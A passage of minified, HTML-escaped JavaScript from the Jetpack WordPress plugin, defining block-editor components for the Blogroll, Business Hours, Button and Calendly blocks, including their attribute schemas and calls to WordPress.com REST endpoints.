window&quot;,&quot;jetpack&quot;),checked:!!y,onChange:()=&gt;s({open_links_new_window:!y}),__nextHasNoMarginBottom:!0}),(0,b.jsx)(o.ToggleControl,{label:__(&quot;Hide my own sites&quot;,&quot;jetpack&quot;),checked:!!x,onChange:()=&gt;s({ignore_user_blogs:!x}),__nextHasNoMarginBottom:!0})]})})]})}},22475(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(52829),o=s(77782),a=s(63166),i=s(36219);s(93386);(0,r.M)(n,{edit:a.A,save:i.A},[{name:o.UU,settings:o.W0}])},36219(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(13022),o=s(10790);const a=function({attributes:{show_avatar:e,show_description:t},className:s}){const a=r.useBlockProps.save({className:(0,n.A)(s,{&quot;hide-avatar&quot;:!e,&quot;hide-description&quot;:!t})});return(0,o.jsx)(&quot;div&quot;,{...a,children:(0,o.jsx)(r.InnerBlocks.Content,{})})}},13818(e,t,s){&quot;use strict&quot;;s.d(t,{Z:()=&gt;o});var r=s(86087),n=s(85101);function o(e,t=!0){const[s,o]=(0,r.useState)(null),[a,i]=(0,r.useState)(null),[l,c]=(0,r.useState)(!1),u=function(e,t=100){const[s,n]=(0,r.useState)(e);return(0,r.useEffect)(()=&gt;{const s=setTimeout(()=&gt;{n(e)},t);return()=&gt;{clearTimeout(s)}},[e,t]),s}((0,n.l$)(e),500);return(0,r.useEffect)(()=&gt;{if(c(Boolean(t&amp;&amp;u)),t&amp;&amp;u){const e=new AbortController;return fetch(`https://public-api.wordpress.com/rest/v1.1/sites/${encodeURIComponent(u)}?force=wpcom`,{cache:&quot;force-cache&quot;,signal:e.signal}).then(e=&gt;{if(200===e.status)return e.json();e.status}).then(e=&gt;{o(e),c(!1)}).catch(e=&gt;{&quot;AbortError&quot;!==e.name&amp;&amp;i(e)}),()=&gt;e.abort()}},[u,t]),{response:s,error:a,isLoading:l}}},92507(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(13818),n=s(85101);function o({siteURL:e,subscriptions:t,enabled:s=!1}){const o=(0,n.l$)(e),{response:a,isLoading:i}=(0,r.Z)(o,Boolean(s)),l=[...a?[{blog_id:a?.ID.toString(),description:a?.description,URL:a?.URL,site_icon:(0,n.ZE)(a?.logo?.url),name:a?.name}]:[],...t].filter(t=&gt;`${t.name}${t.URL}`.match(new RegExp(e,&quot;i&quot;)));return 0===l.length&amp;&amp;o&amp;&amp;l.unshift({blog_id:o,description:&quot;&quot;,URL:o,site_icon:(0,n.ZE)(null),name:o,is_non_wpcom_site:!0}),{isLoading:i,siteDetails:l}}},32130(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(1455),n=s.n(r),o=s(86087),a=s(27723);const __=a.__;function i(e=!1){const[t,s]=(0,o.useState)(!1),[r,a]=(0,o.useState)(null),[i,l]=(0,o.useState)([]),c=(0,o.useRef)(void 0);return(0,o.useEffect)(()=&gt;{e?(s(!0),a(null),c.current&amp;&amp;c.current.abort(),c.current=&quot;undefined&quot;==typeof AbortController?void 0:new AbortController,n()({path:&quot;/wpcom/v2/following/recommendations&quot;,global:!0,method:&quot;GET&quot;,signal:c.current?.signal}).then(e=&gt;{e.length||a(__(&quot;No subscriptions found. You need to follow some sites in order to see results.&quot;,&quot;jetpack&quot;)),l(e)}).catch(e=&gt;{&quot;AbortError&quot;!==e.name&amp;&amp;(e.message?a(e.message):a(__(&quot;Whoops, we have encountered an error. Please try again later.&quot;,&quot;jetpack&quot;)))}).finally(()=&gt;{c.current=null,s(!1)})):s(!1)},[e]),{isLoading:t,errorMessage:r,recommendations:i}}},46542(e,t,s){&quot;use strict&quot;;s.d(t,{b:()=&gt;i});var r=s(3582),n=s(47143),o=s(86087),a=s(85101);const i=({clientId:e})=&gt;{const[t,s]=(0,o.useState)(!1),{insertBlocks:i}=(0,n.useDispatch)(&quot;core/block-editor&quot;),[l,c]=(0,r.useEntityProp)(&quot;root&quot;,&quot;site&quot;,&quot;Blogroll Recommendations&quot;),u=(0,n.useSelect)(t=&gt;t(&quot;core/block-editor&quot;).getBlock(e).innerBlocks.filter(({name:e})=&gt;&quot;jetpack/blogroll-item&quot;===e).map(({attributes:e})=&gt;e),[e]);(0,o.useEffect)(()=&gt;{if(!t&amp;&amp;l){const t=l.filter(e=&gt;!u.some(t=&gt;t.id===e.id));if(t.length){const s=t.map(a.dy);i(s,void 0,e)}s(!0)}},[e,l,u,t,i]),(0,o.useEffect)(()=&gt;{void 0!==l&amp;&amp;c(u)},[u])}},25688(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(1455),n=s.n(r),o=s(86087),a=s(27723),i=s(93832),l=s(85101);const __=a.__;function c({ignore_user_blogs:e}){const[t,s]=(0,o.useState)(!1),[r,a]=(0,o.useState)(null),[c,u]=(0,o.useState)([]),d=(0,o.useRef)(void 0);return(0,o.useEffect)(()=&gt;{s(!0),a(null),d.current&amp;&amp;d.current.abort(),d.current=&quot;undefined&quot;==typeof AbortController?void 0:new AbortController,n()({path:(0,i.addQueryArgs)(&quot;/wpcom/v2/following/mine&quot;,{ignore_user_blogs:e}),global:!0,method:&quot;GET&quot;,signal:d.current?.signal}).then(e=&gt;{e.length||a(__(&quot;No subscriptions found. You need to follow some sites in order to see results.&quot;,&quot;jetpack&quot;)),e=e.map(e=&gt;(e.site_icon=(0,l.ZE)(e.site_icon),e)),u(e)}).catch(e=&gt;{&quot;AbortError&quot;!==e.name&amp;&amp;(e.message?a(e.message):a(__(&quot;Whoops, we have encountered an error. Please try again later.&quot;,&quot;jetpack&quot;)))}).finally(()=&gt;{d.current=null,s(!1)})},[e]),{isLoading:t,errorMessage:r,subscriptions:c}}},85101(e,t,s){&quot;use strict&quot;;s.d(t,{FN:()=&gt;a,ZE:()=&gt;l,dy:()=&gt;o,l$:()=&gt;i});var r=s(74997),n=s(84954);function o(e){let t;try{t=new URL(e?.url)?.host.replace(/^www\./,&quot;&quot;)}catch{t=e?.URL}return(0,r.createBlock)(&quot;jetpack/blogroll-item&quot;,{...e,...!e.name&amp;&amp;{name:t}})}function a(e){const{blog_id:t,site_icon:s,URL:r,name:n,description:a,is_non_wpcom_site:i}=e;return o({id:t,icon:s,url:r,name:n,description:a,is_non_wpcom_site:i})}function i(e){if(!e)return null;const t=new RegExp(&quot;^([a-zA-Z]+:\\/\\/)?((([a-z\\d]([a-z\\d-]*[a-z\\d])?)\\.)+[a-z]{2,})&quot;,&quot;i&quot;);try{return new URL(e)?.host}catch{return e.match(t)?.[2]??null}}function l(e){return e||n}},60487(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(56427),n=s(86087),o=s(27723),a=s(13022),i=s(66087),l=s(10790);const __=o.__,c=&quot;09:00&quot;,u=&quot;17:00&quot;;class d extends n.Component{renderInterval=(e,t)=&gt;{const{day:s}=this.props,{opening:o,closing:i}=e;return(0,l.jsxs)(n.Fragment,{children:[(0,l.jsxs)(&quot;div&quot;,{className:&quot;business-hours__row&quot;,children:[(0,l.jsx)(&quot;div&quot;,{className:(0,a.A)(s.name,&quot;business-hours__day&quot;),children:0===t&amp;&amp;this.renderDayToggle()}),(0,l.jsxs)(&quot;div&quot;,{className:(0,a.A)(s.name,&quot;business-hours__hours&quot;),children:[(0,l.jsx)(r.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,type:&quot;time&quot;,label:__(&quot;Opening&quot;,&quot;jetpack&quot;),value:o,className:&quot;business-hours__open&quot;,placeholder:c,onChange:e=&gt;{this.setHour(e,&quot;opening&quot;,t)}}),(0,l.jsx)(r.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,type:&quot;time&quot;,label:__(&quot;Closing&quot;,&quot;jetpack&quot;),value:i,className:&quot;business-hours__close&quot;,placeholder:u,onChange:e=&gt;{this.setHour(e,&quot;closing&quot;,t)}})]}),(0,l.jsx)(&quot;div&quot;,{className:&quot;business-hours__remove&quot;,children:s.hours.length&gt;1&amp;&amp;(0,l.jsx)(r.Button,{isSmall:!0,variant:&quot;link&quot;,icon:&quot;trash&quot;,label:__(&quot;Remove Hours&quot;,&quot;jetpack&quot;),onClick:()=&gt;{this.removeInterval(t)}})})]}),t===s.hours.length-1&amp;&amp;(0,l.jsxs)(&quot;div&quot;,{className:&quot;business-hours__row business-hours-row__add&quot;,children:[(0,l.jsx)(&quot;div&quot;,{className:(0,a.A)(s.name,&quot;business-hours__day&quot;),children:&quot; &quot;}),(0,l.jsx)(&quot;div&quot;,{className:(0,a.A)(s.name,&quot;business-hours__hours&quot;),children:(0,l.jsx)(r.Button,{variant:&quot;link&quot;,label:__(&quot;Add Hours&quot;,&quot;jetpack&quot;),onClick:this.addInterval,children:__(&quot;Add Hours&quot;,&quot;jetpack&quot;)})}),(0,l.jsx)(&quot;div&quot;,{className:&quot;business-hours__remove&quot;,children:&quot; &quot;})]})]},t)};setHour=(e,t,s)=&gt;{const{day:r,attributes:n,setAttributes:o}=this.props,{days:a}=n;o({days:a.map(n=&gt;n.name===r.name?{...n,hours:n.hours.map((r,n)=&gt;n===s?{...r,[t]:e}:r)}:n)})};toggleClosed=e=&gt;{const{day:t,attributes:s,setAttributes:r}=this.props,{days:n}=s;r({days:n.map(s=&gt;{if(s.name===t.name){const t=e?[{opening:c,closing:u}]:[];return{...s,hours:t}}return s})})};addInterval=()=&gt;{const{day:e,attributes:t,setAttributes:s}=this.props,{days:r}=t;e.hours.push({opening:&quot;&quot;,closing:&quot;&quot;}),s({days:r.map(t=&gt;t.name===e.name?{...t,hours:e.hours}:t)})};removeInterval=e=&gt;{const{day:t,attributes:s,setAttributes:r}=this.props,{days:n}=s;r({days:n.map(s=&gt;t.name===s.name?{...s,hours:s.hours.filter((t,s)=&gt;e!==s)}:s)})};isClosed(){const{day:e}=this.props;return(0,i.isEmpty)(e.hours)}renderDayToggle(){const{day:e,localization:t}=this.props;return(0,l.jsxs)(n.Fragment,{children:[(0,l.jsx)(&quot;span&quot;,{className:&quot;business-hours__day-name&quot;,children:t.days[e.name]}),(0,l.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:this.isClosed()?__(&quot;Closed&quot;,&quot;jetpack&quot;):__(&quot;Open&quot;,&quot;jetpack&quot;),checked:!this.isClosed(),onChange:this.toggleClosed})]})}renderClosed(){const{day:e}=this.props;return(0,l.jsxs)(&quot;div&quot;,{className:&quot;business-hours__row business-hours-row__closed&quot;,children:[(0,l.jsx)(&quot;div&quot;,{className:(0,a.A)(e.name,&quot;business-hours__day&quot;),children:this.renderDayToggle()}),(0,l.jsx)(&quot;div&quot;,{className:(0,a.A)(e.name,&quot;closed&quot;,&quot;business-hours__hours&quot;),children:&quot; &quot;}),(0,l.jsx)(&quot;div&quot;,{className:&quot;business-hours__remove&quot;,children:&quot; &quot;})]})}render(){const{day:e}=this.props;return this.isClosed()?this.renderClosed():e.hours.map(this.renderInterval)}}const p=d},39943(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(86087),n=s(27723),o=s(66087),a=s(10790);const _x=n._x,i=&quot;undefined&quot;!=typeof window&amp;&amp;window.navigator?.language||&quot;en&quot;,l=Intl?.DateTimeFormat?new Intl.DateTimeFormat(i,{hour:&quot;numeric&quot;,minute:&quot;numeric&quot;,hour12:!0}):null;class c extends r.Component{formatTime(e){const[t,s]=e.split(&quot;:&quot;);if(!t||!s)return!1;const r=new Date;return r.setHours(t),r.setMinutes(s),l?l.format(r):e}renderInterval=(e,t)=&gt;{const{day:s}=this.props,r=s.hours;return(0,a.jsxs)(&quot;span&quot;,{children:[(0,n.sprintf)(&quot;%1$s - %2$s&quot;,this.formatTime(e.opening),this.formatTime(e.closing)),r.length&gt;1+t&amp;&amp;(0,a.jsx)(&quot;span&quot;,{children:&quot;, &quot;})]},t)};render(){const{day:e,localization:t}=this.props,s=e.hours.filter(e=&gt;this.formatTime(e.opening)&amp;&amp;this.formatTime(e.closing));return(0,a.jsxs)(&quot;div&quot;,{className:&quot;jetpack-business-hours__item&quot;,children:[(0,a.jsx)(&quot;dt&quot;,{className:e.name,children:t.days[e.name]}),(0,a.jsxs)(&quot;dd&quot;,{children:[(0,o.isEmpty)(s)?_x(&quot;Closed&quot;,&quot;business is closed on a full day&quot;,&quot;jetpack&quot;):s.map(this.renderInterval),(0,a.jsx)(&quot;br&quot;,{})]})]})}}const u=c},39155(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;b});var r=s(85985),n=s(1455),o=s.n(n),a=s(94715),i=s(56427),l=s(38443),c=s(86087),u=s(27723),d=s(9050),p=s(60487),h=s(39943),m=s(10790);const __=u.__,g=(0,r.sh)(d),f={days:{Sun:__(&quot;Sunday&quot;,&quot;jetpack&quot;),Mon:__(&quot;Monday&quot;,&quot;jetpack&quot;),Tue:__(&quot;Tuesday&quot;,&quot;jetpack&quot;),Wed:__(&quot;Wednesday&quot;,&quot;jetpack&quot;),Thu:__(&quot;Thursday&quot;,&quot;jetpack&quot;),Fri:__(&quot;Friday&quot;,&quot;jetpack&quot;),Sat:__(&quot;Saturday&quot;,&quot;jetpack&quot;)},startOfWeek:0},b=e=&gt;{const{attributes:t,isSelected:s}=e,r=(0,a.useBlockProps)(),[n,u]=(0,c.useState)(f),[d,b]=(0,c.useState)(!1),{days:v}=t,{startOfWeek:k}=n,y=v.concat(v.slice(0,k)).slice(k);let x;if((0,c.useEffect)(()=&gt;{o()({path:&quot;/wpcom/v2/business-hours/localized-week&quot;}).then(e=&gt;{u(e),b(!0)},()=&gt;{u(f),b(!0)})},[]),d)if(s)x=(0,m.jsx)(&quot;div&quot;,{className:&quot;is-edit&quot;,children:y.map((t,s)=&gt;(0,m.jsx)(p.A,{day:t,localization:n,...e},s))});else{const e=(0,l.getSettings)(),{formats:{time:t}}=e;x=(0,m.jsx)(&quot;dl&quot;,{className:&quot;jetpack-business-hours&quot;,children:y.map((e,s)=&gt;(0,m.jsx)(h.A,{day:e,localization:n,timeFormat:t},s))})}else x=(0,m.jsx)(i.Placeholder,{icon:g,label:__(&quot;Loading business hours&quot;,&quot;jetpack&quot;)});return(0,m.jsx)(&quot;div&quot;,{...r,children:x})}},71410(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(9050),o=s(39155),a=(s(87495),s(1947),s(10790));(0,r.M)(n,{edit:e=&gt;(0,a.jsx)(o.A,{...e}),save:()=&gt;null})},28310(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(98329);const n={element:{type:&quot;string&quot;,enum:[&quot;a&quot;,&quot;button&quot;,&quot;input&quot;]},saveInPostContent:{type:&quot;boolean&quot;,default:!1},uniqueId:{type:&quot;string&quot;},passthroughAttributes:{type:&quot;object&quot;},text:{type:&quot;string&quot;,role:&quot;content&quot;},placeholder:{type:&quot;string&quot;,role:&quot;content&quot;},url:{type:&quot;string&quot;,role:&quot;content&quot;},textColor:{type:&quot;string&quot;},customTextColor:{type:&quot;string&quot;,validator:r.A},backgroundColor:{type:&quot;string&quot;},customBackgroundColor:{type:&quot;string&quot;,validator:r.A},gradient:{type:&quot;string&quot;},customGradient:{type:&quot;string&quot;},borderRadius:{type:&quot;number&quot;},width:{type:&quot;string&quot;},customVariant:{type:&quot;string&quot;},metaName:{type:&quot;string&quot;}}},12365(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(56427),n=s(86087),o=s(27723),a=s(8746),i=s(10790);const __=o.__;function l({borderRadius:e=&quot;&quot;,setAttributes:t}){const s=(0,n.useCallback)(e=&gt;t({borderRadius:e}),[t]);return(0,i.jsx)(r.PanelBody,{title:__(&quot;Border Settings&quot;,&quot;jetpack&quot;),children:(0,i.jsx)(r.RangeControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,allowReset:!0,initialPosition:a.hc,label:__(&quot;Border radius&quot;,&quot;jetpack&quot;),max:a.Bs,min:a.rG,onChange:s,value:e})})}},10179(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(27723),o=s(10790);const __=n.__;function a({isGradientAvailable:e,backgroundColor:t,fallbackBackgroundColor:s,fallbackTextColor:n,gradientValue:a,setBackgroundColor:i,setGradient:l,setTextColor:c,textColor:u}){const d=(0,o.jsx)(r.ContrastChecker,{backgroundColor:t.color,fallbackBackgroundColor:s,fallbackTextColor:n,isLargeText:!1,textColor:u.color});return e?(0,o.jsx)(r.__experimentalPanelColorGradientSettings,{settings:[{colorValue:u.color,label:__(&quot;Text Color&quot;,&quot;jetpack&quot;),onColorChange:c},{colorValue:t.color,gradientValue:a,label:__(&quot;Background&quot;,&quot;jetpack&quot;),onColorChange:i,onGradientChange:l}],title:__(&quot;Background &amp; Text Color&quot;,&quot;jetpack&quot;),children:d}):(0,o.jsx)(r.PanelColorSettings,{colorSettings:[{value:u.color,onChange:c,label:__(&quot;Text Color&quot;,&quot;jetpack&quot;)},{value:t.color,onChange:i,label:__(&quot;Background&quot;,&quot;jetpack&quot;)}],title:__(&quot;Background &amp; Text Color&quot;,&quot;jetpack&quot;),children:d})}},8746(e,t,s){&quot;use strict&quot;;s.d(t,{Bs:()=&gt;a,Uc:()=&gt;n,hc:()=&gt;o,rG:()=&gt;i});var r=s(94715);const n=!!r.__experimentalUseGradient,o=5,a=50,i=0},2761(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(47143),n=s(38062),o=s(12365),a=s(10179),i=s(10790);function l({attributes:e,backgroundColor:t,clientId:s,context:l,fallbackBackgroundColor:c,fallbackTextColor:u,setAttributes:d,setBackgroundColor:p,setTextColor:h,textColor:m,gradientValue:g,setGradient:f,isGradientAvailable:b}){const{align:v,borderRadius:k}=e,y=&quot;jetpack/parentBlockWidth&quot;in l,x=y?l[&quot;jetpack/parentBlockWidth&quot;]:e.width,j=(0,r.useSelect)(e=&gt;{const{getBlock:t,getBlockRootClientId:r}=e(&quot;core/block-editor&quot;);return t(r(s))}),{updateBlockAttributes:w}=(0,r.useDispatch)(&quot;core/block-editor&quot;);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(a.A,{backgroundColor:t,fallbackBackgroundColor:c,fallbackTextColor:u,gradientValue:g,setBackgroundColor:p,setGradient:f,setTextColor:h,textColor:m,isGradientAvailable:b}),(0,i.jsx)(o.A,{borderRadius:k,setAttributes:d}),(0,i.jsx)(n.D,{align:v,width:x,onChange:e=&gt;{y?w(j.clientId,{width:e}):d({width:e})}})]})}},55903(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;m});var r=s(94715),n=s(29491),o=s(47143),a=s(86087),i=s(27723),l=s(13022),c=s(8746),u=s(2761),d=s(7528),p=s(81177),h=(s(55179),s(10790));const __=i.__;const m=(0,n.compose)((0,r.withColors)({backgroundColor:&quot;background-color&quot;},{textColor:&quot;color&quot;}))(function(e){const{attributes:t,backgroundColor:s,className:n,clientId:i,setAttributes:m,textColor:g}=e,{borderRadius:f,element:b,placeholder:v,text:k,width:y,fontSize:x,customVariant:j,metaName:w}=t;(0,p.A)({attributes:t,clientId:i,setAttributes:m});const{metadata:_}=(0,o.useSelect)(e=&gt;{const{getBlockAttributes:t}=e(r.store);return{metadata:t(i)?.metadata}},[i]),{updateBlockAttributes:C,__unstableMarkNextChangeAsNotPersistent:A}=(0,o.useDispatch)(&quot;core/block-editor&quot;),{gradientClass:S,gradientValue:E,setGradient:N}=c.Uc?(0,r.__experimentalUseGradient)({gradientAttribute:&quot;gradient&quot;,customGradientAttribute:&quot;customGradient&quot;}):{},T=(0,r.useBlockProps)({className:(0,l.A)(&quot;wp-block-button&quot;,n),style:{width:y}}),[B,P]=(0,d.A)(),I=(0,r.__experimentalUseBorderProps)(t),M=(0,l.A)(&quot;wp-block-button__link&quot;,I.className,{&quot;has-background&quot;:s.color||E,[s.class]:!E&amp;&amp;s.class,&quot;has-text-color&quot;:g.color,[g.class]:g.class,[S]:S,&quot;no-border-radius&quot;:0===f,[`has-${x}-font-size`]:!!x,&quot;has-custom-font-size&quot;:!!x,[`is-${j}`]:!!j});(0,a.useEffect)(()=&gt;{i&amp;&amp;w&amp;&amp;_?.name!==w&amp;&amp;(A(),C(i,{metadata:{..._,name:w}}))},[w,_,C,i,A]);const L={...!s.color&amp;&amp;E?{background:E}:{backgroundColor:s.color},fontSize:t.style?.typography?.fontSize,color:g.color,borderRadius:f?f+&quot;px&quot;:void 0,...I.style};return(0,h.jsxs)(&quot;div&quot;,{...T,children:[(0,h.jsx)(r.RichText,{allowedFormats:&quot;input&quot;===b?[]:void 0,className:M,disableLineBreaks:&quot;input&quot;===b,onChange:e=&gt;m({text:e}),placeholder:v||__(&quot;Add text…&quot;,&quot;jetpack&quot;),ref:P,style:L,value:k,withoutInteractiveFormatting:!0}),(0,h.jsx)(r.InspectorControls,{children:(0,h.jsx)(u.A,{gradientValue:E,setGradient:N,isGradientAvailable:c.Uc,...B,...e})})]})})},45878(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(5383);(0,r.A)(n.U,n.W)},36270(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(56427),n=s(10790);const o=(0,n.jsx)(r.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,n.jsx)(r.Path,{d:&quot;M19 6.5H5c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-7c0-1.1-.9-2-2-2zm.5 9c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v7zM8 13h8v-1.5H8V13z&quot;})})},5383(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;c,W:()=&gt;u});var r=s(27723),n=s(97969),o=s(28310),a=s(55903),i=s(36270),l=s(85154);const __=r.__,c=&quot;button&quot;,u={apiVersion:3,title:__(&quot;Button&quot;,&quot;jetpack&quot;),icon:i.A,category:(0,n.A)(&quot;design&quot;,&quot;layout&quot;),keywords:[],supports:{html:!1,inserter:!1,align:[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;],typography:{fontSize:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{color:!0,style:!0,width:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!0,style:!0,width:!0}}},styles:[{name:&quot;fill&quot;,label:__(&quot;Fill&quot;,&quot;jetpack&quot;),isDefault:!0},{name:&quot;outline&quot;,label:__(&quot;Outline&quot;,&quot;jetpack&quot;)}],selectors:{border:&quot;.wp-block-jetpack-button .wp-block-button__link&quot;},attributes:o.A,edit:a.A,save:l.A,usesContext:[&quot;jetpack/parentBlockWidth&quot;]}},85154(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(94715),n=s(13022),o=s(8746),a=s(10790);function i({attributes:e,blockName:t,uniqueId:s}){const{backgroundColor:i,borderRadius:l,className:c,customBackgroundColor:u,customGradient:d,customTextColor:p,gradient:h,saveInPostContent:m,text:g,textColor:f,url:b,width:v,fontSize:k}=e;if(!m)return null;const y=r.useBlockProps.save(),x=(0,r.__experimentalGetBorderClassesAndStyles)(e),j=(0,r.getColorClassName)(&quot;background-color&quot;,i),w=o.Uc?(0,r.__experimentalGetGradientClass)(h):void 0,_=(0,r.getColorClassName)(&quot;color&quot;,f),C=(0,n.A)(&quot;wp-block-button&quot;,&quot;jetpack-submit-button&quot;,c,y?.className,x.className,{[`wp-block-jetpack-${t}`]:t}),A=(0,n.A)(&quot;wp-block-button__link&quot;,{&quot;has-text-color&quot;:f||p,[_]:_,&quot;has-background&quot;:i||h||u||d,[j]:j,[w]:w,&quot;no-border-radius&quot;:0===l,&quot;has-custom-width&quot;:!!v,[`has-${k}-font-size`]:!!k,&quot;has-custom-font-size&quot;:!!k}),S={background:d||void 0,backgroundColor:j||d||h?void 0:u,fontSize:e.style?.typography?.fontSize,color:_?void 0:p,borderRadius:l?l+&quot;px&quot;:void 0,width:v,...x.style};return(0,a.jsx)(&quot;div&quot;,{...y,className:C,children:(0,a.jsx)(r.RichText.Content,{className:A,&quot;data-id-attr&quot;:s||&quot;placeholder&quot;,href:b,id:s,rel:&quot;noopener noreferrer&quot;,role:&quot;button&quot;,style:S,tagName:&quot;a&quot;,target:&quot;_blank&quot;,value:g})})}},7528(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(29491),n=s(86087);function o(){const[e,t]=(0,n.useState)(),s=(0,r.useRefEffect)(s=&gt;{const r=()=&gt;{const r=getComputedStyle(s),n=r.backgroundColor,o=r.color;n===e?.fallbackBackgroundColor&amp;&amp;o===e?.fallbackTextColor||t({fallbackBackgroundColor:n,fallbackTextColor:o})},n=new MutationObserver(r);return n.observe(s,{attributeFilter:[&quot;style&quot;,&quot;class&quot;]}),r(),()=&gt;{n.disconnect()}},[]);return[e,s]}},81177(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(47143),n=s(86087),o=s(66087);function a({attributes:e,clientId:t,setAttributes:s}){const{passthroughAttributes:a}=e,i=(0,r.useSelect)(s=&gt;{const r=s(&quot;core/block-editor&quot;),n=r.getBlockRootClientId(t),o=r.getBlockAttributes(n)||{};if(!n||!a)return{};let i=!1;const l={};return Object.entries(a).forEach(([t,s])=&gt;{const r=o[s];r!==e[t]&amp;&amp;(i=!0,l[t]=r)}),i?l:{}},[t,a,e]);(0,n.useEffect)(()=&gt;{(0,o.isEmpty)(i)||s(i)},[i,s])}},95816(e,t,s){&quot;use strict&quot;;s.d(t,{a:()=&gt;r});const r=&quot;https://calendly.com/wpcom/jetpack-block-example&quot;},99723(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;d});var r=s(97999),n=s(94715),o=s(56427),a=s(27723),i=s(5873),l=s(10790);const __=a.__,_x=a._x,c=({onEditClick:e})=&gt;(0,l.jsx)(o.ToolbarGroup,{children:(0,l.jsx)(o.ToolbarButton,{onClick:()=&gt;e(!0),children:__(&quot;Edit&quot;,&quot;jetpack&quot;)})}),u=e=&gt;{const{attributes:{hideEventTypeDetails:t,url:s},defaultClassName:n,embedCode:a,parseEmbedCode:i,setAttributes:c,setEmbedCode:u}=e;let d=null;return s&amp;&amp;(d=(0,r.isWpcomPlatformSite)()?&quot;https://wordpress.com/support/wordpress-editor/blocks/calendly-block/#customize-the-calendly-block&quot;:&quot;https://jetpack.com/support/jetpack-blocks/calendly-block/#customizing-a-calendly-block&quot;),(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(o.PanelBody,{PanelBody:!0,title:__(&quot;Calendar settings&quot;,&quot;jetpack&quot;),initialOpen:!1,children:[(0,l.jsxs)(&quot;form&quot;,{onSubmit:i,className:`${n}-embed-form-sidebar`,children:[(0,l.jsx)(&quot;input&quot;,{type:&quot;text&quot;,id:&quot;embedCode&quot;,onChange:e=&gt;u(e.target.value),placeholder:__(&quot;Calendly web address or embed code…&quot;,&quot;jetpack&quot;),value:a||&quot;&quot;,className:&quot;components-placeholder__input&quot;}),(0,l.jsx)(&quot;div&quot;,{children:(0,l.jsx)(o.Button,{variant:&quot;secondary&quot;,type:&quot;submit&quot;,children:_x(&quot;Embed&quot;,&quot;button label&quot;,&quot;jetpack&quot;)})})]}),(0,l.jsx)(o.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Hide event type details&quot;,&quot;jetpack&quot;),checked:t,onChange:()=&gt;c({hideEventTypeDetails:!t})})]}),d&amp;&amp;(0,l.jsx)(o.Notice,{className:`${n}-color-notice`,isDismissible:!1,children:(0,l.jsx)(o.ExternalLink,{href:d,children:__(&quot;Explore more customization options.&quot;,&quot;jetpack&quot;)})})]})},d=e=&gt;{const{attributes:t,clientId:s,isEditingUrl:r,setAttributes:o,setIsEditingUrl:a}=e,{style:d,url:p}=t,h=[{value:&quot;inline&quot;,label:__(&quot;Inline&quot;,&quot;jetpack&quot;)},{value:&quot;link&quot;,label:__(&quot;Link&quot;,&quot;jetpack&quot;)}];return(0,l.jsxs)(l.Fragment,{children:[p&amp;&amp;!r&amp;&amp;(0,l.jsx)(n.BlockControls,{children:(0,l.jsx)(c,{onEditClick:a})}),p&amp;&amp;(0,l.jsx)(i.A,{clientId:s,styleOptions:h,onSelectStyle:o,activeStyle:d,attributes:t,viewportWidth:500}),(0,l.jsx)(n.InspectorControls,{children:(0,l.jsx)(u,{...e})})]})}},19493(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(74997),n=s(27723),o=s(98329),a=s(10790);const __=n.__,i={attributes:{backgroundColor:{type:&quot;string&quot;,default:&quot;ffffff&quot;,validator:o.A},submitButtonText:{type:&quot;string&quot;,default:__(&quot;Schedule time with me&quot;,&quot;jetpack&quot;)},submitButtonTextColor:{type:&quot;string&quot;},submitButtonBackgroundColor:{type:&quot;string&quot;},submitButtonClasses:{type:&quot;string&quot;},hideEventTypeDetails:{type:&quot;boolean&quot;,default:!1},primaryColor:{type:&quot;string&quot;,default:&quot;00A2FF&quot;,validator:o.A},textColor:{type:&quot;string&quot;,default:&quot;4D5055&quot;,validator:o.A},style:{type:&quot;string&quot;,default:&quot;inline&quot;,validValues:[&quot;inline&quot;,&quot;link&quot;]},url:{type:&quot;string&quot;,validator:e=&gt;!e||e.startsWith(&quot;https://calendly.com/&quot;)},backgroundButtonColor:{type:&quot;string&quot;},textButtonColor:{type:&quot;string&quot;},customBackgroundButtonColor:{type:&quot;string&quot;,validator:o.A},customTextButtonColor:{type:&quot;string&quot;,validator:o.A}},migrate:e=&gt;{const{submitB